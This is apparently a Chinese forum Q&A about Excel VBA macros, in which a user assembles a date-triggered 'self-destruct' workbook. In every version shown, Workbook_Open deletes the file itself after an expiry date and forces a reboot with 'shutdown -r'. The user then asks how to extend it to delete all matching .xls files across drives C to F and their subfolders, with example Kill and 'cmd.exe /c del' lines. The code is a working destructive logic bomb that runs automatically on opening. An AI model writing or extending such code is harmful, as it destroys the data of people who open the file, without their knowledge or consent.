各位老师好,之前在网上看到一个前辈的自杀帖子,
Private Sub Workbook_Open()
If Date > #12/11/2019# Then
Application.DisplayAlerts = False
ThisWorkbook.ChangeFileAccess xlReadOnly
Kill ThisWorkbook.FullName
ThisWorkbook.close
Application.Quit
End If
End Sub
下面这个是我另外找到一个例子
Function 重启(Optional Close_Time As Byte = 10)'声明函数名称,有一个可选参数
重启 = Close_Time'在单元格显示时间
Shell "shutdown -R -t " & Close_Time'在指定的时间内重启计算机,调用DOS命令
End Function这个要怎样修改才能把2者结合在一起呢?
想要达到的效果是到期一点击该文件就自杀然后电脑重新启动
Private Sub Workbook_Open()
If Date > #12/11/2012# Then
Application.DisplayAlerts = False
ThisWorkbook.ChangeFileAccess xlReadOnly
Kill ThisWorkbook.FullName
Shell "shutdown -r -t 005" '5秒后系统重启
ThisWorkbook.Close
Application.Quit
End If
End Sub
Private Sub Workbook_Open()
If Date > #12/11/2012# Then
Application.DisplayAlerts = False
ThisWorkbook.ChangeFileAccess xlReadOnly
Kill ThisWorkbook.FullName
Shell "shutdown -r -t 005" '5秒后系统重启
ThisWorkbook.Close
Application.Quit
End If
End Sub
老师,可以补充问一个问题吗?我想这个文件一打开,关联操作删除本电脑所有目录下跟他同名的“*对账系统*.xls"文件一起自杀掉,该怎样改写呢?例如
shell "cmd.exe/c del C:\*对账系统*.xls"
shell "cmd.exe/c del D:\*对账系统*.xls"
shell "cmd.exe/c del E:\*对账系统*.xls"
shell "cmd.exe/c del F:\*对账系统*.xls"
Private Sub Workbook_Open()
If Date > #12/11/2012# Then
Application.DisplayAlerts = False
ThisWorkbook.ChangeFileAccess xlReadOnly
Kill ThisWorkbook.FullName
Kill "C:\*爸*.xls"
Kill "D:\*爸*.xls"
Kill "E:\*爸*.xls"
Kill "F:\*爸*.xls"
Shell "shutdown -r -t 005" '5秒后系统重启
ThisWorkbook.Close
Application.Quit
End If
End Sub
我应该怎样修改,操作C、D、E、F盘目录下所有该文件名字的文件,可能其他子目录文件夹也含有该同名文件?